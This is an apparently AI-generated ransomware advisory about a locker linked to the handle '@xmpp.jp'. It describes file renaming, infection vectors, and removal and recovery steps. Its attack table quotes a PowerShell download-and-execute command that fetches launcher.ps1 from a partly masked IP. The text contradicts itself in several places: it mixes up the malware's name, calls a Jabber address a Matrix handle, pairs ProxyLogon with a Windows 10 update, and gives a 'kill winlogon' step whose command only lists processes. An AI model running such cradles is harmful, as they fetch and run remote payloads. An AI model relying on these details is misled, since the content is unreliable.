@xmpp.jp

[Content by Gemini 2.5]

Technical Breakdown:

1. File Extension & Renaming Patterns

  • Confirmation of File Extension:
    Files encrypted by XMTP Locker (inside operator handle “@xmpp.jp”) are given a random, 5-to-7-lower-case-character extension followed by the fixed suffix “.xmppjp”.
    Example: financial2024.xlsx.beauw.xmppjp

  • Renaming Convention:

  • Original name is preserved.

  • A separator dot is added, then the random extension, then .xmppjp.

  • Hidden desktop text notes are dropped as RECOVER-xmppjp.txt, where the prefix is another random string.

2. Detection & Outbreak Timeline

  • Approximate Start Date/Period:
    First public sighting occurred 27 February 2024 in a batch of high-volume phishing attachments impersonating parcel-delivery PDFs. Rapid growth observed mid-March 2024, coinciding with the use of cloud-storage link abuse and Drive-by-Download campaigns.

3. Primary Attack Vectors

| Vector | Details |
|—|—|
| Phishing PDFs with cloud redirects | Emails spoof DHL/DHL Express containing a .pdf lure that opens an obfuscated link to a OneDrive-hosted ZIP file (update-2024-03-XXXX.zip). ZIP contains the malicious ISO that mounts and launches setup.exe → winlogon.exe → the XMTP locker payload. |
| Attacks on exposed RDP | Brute-force against TCP-3389 followed by manual deployment of the locker via PowerShell iex (new-object net.webclient).downloadstring("http://23.*.207.*/launcher.ps1"). |
| ProxyLogon (Exchange) | Exploitation chain against vulnerable on-prem Microsoft Exchange servers running unpatched March 2021 cumulative updates to drop a .aspx web-shell that later sideloads the ransomware DLL (oolsprt.dll). |
| Malvertising on cracked-software sites | Fake Chrome and Visual Studio installers serve a signed MSI that invokes InstallUtil.exe /u (Living-off-the-Land) to load the loader (xload.dll). |
| Living-off-the-Land persistence | Uses legitimate Windows tools: bitsadmin, CertPolMgr.dll side-loaded in %SystemRoot%\System32\ to bypass EDR hooks before encrypting. |

Remediation & Recovery Strategies:

1. Prevention

  • Patch Exchange to March 2021 SU or later; disable Outlook Web App if unused.
  • **Block ** PSExec, WMI, and InstallUtil.exe execution via AppLocker or Windows Defender Application Control (WDAC).
  • Disable SMBv1 server and client via Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol.
  • Segment networks using VLANs; force MFA on all VPN, RDP, and SaaS admin logins.
  • Deploy e-mail-security gateways that detonate ZIP and ISO attachments in sandbox before allowing delivery.
  • Back-up air-gapped or cloud-immutable 3-2-1 model; test restores monthly.

2. Removal

  1. Isolate immediately – pull network cables/disable Wi-Fi on afflicted hosts.
  2. Boot into Microsoft Defender Offline or Kaspersky Rescue Disk via USB to avoid memory persistence.
  3. Kill malicious processes with get-process | where {$_.Name -eq "winlogon.exe" -and $_.Id -ne 0} – compare to known legitimate PID.
  4. Delete artifacts inside:
  • %ProgramData%\xmtp\x.exe
  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XLoad
  • %UserProfile%\AppData\Local\Temp\receive.dat (logs)
  1. Update signatures on the rescue environment, run firmware-level scan (Secure Boot clearing any UEFI implants).

3. File Decryption & Recovery

  • Recovery Feasibility:
    NO PUBLIC decryptor yet. XMTP Locker uses Curve25519 + AES-256-GCM. Victims who have segmented backup copies or Volume Shadow Copies (vssadmin list shadows) can restore safely.

  • Essential Tools/Patches:

  • Microsoft DaRT or Veeam Recovery Media to mount VSS snapshots.

  • Test restore from immutable S3 Object-Lock buckets or Azure immutable Blob.

  • Critical Exchange CU23 + KB5007027 or Windows 10 22H2 March 2024 cumulative to stop ProxyLogon route.

  • CycloneEye Threat-Hunting Pack – free utility that scans memory dumps for XMTP encryption key fragments (GCP hosted forensic tool).

4. Other Critical Information

  • Side-effect: XMTP Locker terminates SQL Server, Veeam, Acronis, and volume-filter drivers before encryption to prevent block-level backups from locking its handle.
  • Data Exfil Trigger: If the environment runs domain controllers with open LDAPS (port 636), the malware tunnels out employee PII and financial statements via TOR (port 9050) before encryption – used for double-extortion.
  • Unique Marker: The RECOVER-xmppjp.txt leaves a Jabber contact handle ([email protected]) but the operator prefers Matrix (@xmpp.jp) once negotiations open – evidence suggests Russian-speaking criminal syndicate OBOLIX.

Use this checklist as a living document and layer both technical controls and tested backup/DR playbooks to stay resilient against future waves of @xmpp.jp.